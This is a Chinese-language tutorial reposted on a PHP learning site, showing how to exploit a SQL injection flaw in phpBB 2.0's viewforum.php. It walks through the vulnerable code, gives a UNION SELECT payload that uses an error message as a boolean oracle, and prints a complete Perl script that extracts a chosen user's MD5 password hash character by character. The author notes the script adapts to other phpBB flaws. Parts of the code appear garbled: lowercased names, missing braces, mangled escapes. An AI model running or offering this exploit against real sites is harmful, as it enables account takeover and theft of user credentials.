php注入实例

高洛峰
发布: 2016-12-01 15:19:21
原创
1742人浏览过

php注入实例 在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的休会吧,希望能抛砖引玉! 
相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例: 
在viewforum.php中有一个变量没过滤: 
if ( isset($http_get_vars<post_forum_url]) ││ isset($http_post_vars<post_forum_url]) ) 

$forum_id = ( isset($http_get_vars<post_forum_url]) ) ? intval($http_get_vars<post_forum_url]): intval 

($http_post_vars<post_forum_url]); 

else if ( isset($http_get_vars['forum'])) 

$forum_id = $http_get_vars['forum']; 

else 

$forum_id = '; 

就是这个forum,而下面直接把它放进了查询中: 
if ( !empty($forum_id) ) 

$sql = "select * 
from " . forums_table . " 
where forum_id = $forum_id"; 
if ( !($result = $db->sql_query($sql)) ) 

message_die(general_error, 'could not obtain forums information', ', __line__, __file__, $sql); 


else 

message_die(general_message, 'forum_not_exist'); 


如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回could not obtain forums information的信息,于是下面的代码就不能执行下去了 
// 
// if the query doesn't return any rows this isn't a valid forum. inform 
// the user. 
// 
if ( !($forum_row = $db->sql_fetchrow($result)) ) 

message_die(general_message, 'forum_not_exist'); 


// 
// start session management 
// 
$userdata = session_pagestart($user_ip, $forum_id) /**************************************** 

关键就是打星号的那一行了,这里是一个函数session_pagestart($user_ip, $thispage_id),这是在session.php中定义的一个函数,由于代码太 

长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了session_begin(),函数调用如下session_begin($user_id, $user_ip, 

$thispage_id, true)),同样是在这个文件中定义的,其中有如下代码 
$sql = "update " . sessions_table . " 
set session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page = 

$page_id, session_logged_in = $login 
where session_id = '" . $session_id . "' 
and session_ip = '$user_ip'"; 
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() ) 

$session_id = md5(uniqid($user_ip)); 

$sql = "insert into " . sessions_table . " 
(session_id, session_user_id, session_start, session_time, session_ip, session_page, 

session_logged_in) 
values ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)"; 
if ( !($result = $db->sql_query($sql)) ) 

message_die(critical_error, 'error creating new session : session_begin', ', __line__, __file__, 

$sql); 



在这里有个session_page在mysql中定义的是个整形数,他的??$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现error 

creating new session : session_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定是为空,这个就是猜user_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示error creating new session : session_begin,就表明你猜对了第一位了,其它位类似. 

如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了. 

use http::request::common; 
use http::response; 
use lwp::useragent; 
$ua = new lwp::useragent; 

print " ***********************n"; 
print " phpbb viewforum.php expn"; 
print " code by pinkeyesn"; 
print " www.icehack.comn"; 
print " ************************n"; 
print "please enter the weak file's url:n"; 
print "e.g. http://192.168.1.4/phpbb2/viewforum.phpn"; 
$adr=<stdin>; 
chomp($adr); 
print "please enter the user_id that you want to crackn"; 
$u=<stdin>; 
chomp($u); 
print "work starting,please wait!n"; 
@pink=(48..57); 
@pink=(@pink,97..102); 
for($j=1;$j<=32;$j++){ 
for ($i=0;$i<@pink;$i++){ 
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where% 

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]"; 
$request = http::request->new('get', "$url"); 
$response = $ua->request($request); 

if ($response->is_success) { 
if ($response->content =~ /error creating new session/) { 
$pwd.=chr($pink[$i]); 
print "$pwdn"; 





if ($pwd ne ""){ 
print "successfully,the password is $pwd,good luckn";} 
else{ 
print "bad luck,work failed!n";} 

至于最近的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了

ViiTor实时翻译
ViiTor实时翻译

AI实时多语言翻译专家!强大的语音识别、AR翻译功能。

ViiTor实时翻译 116
查看详情 ViiTor实时翻译
相关标签:
php
PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号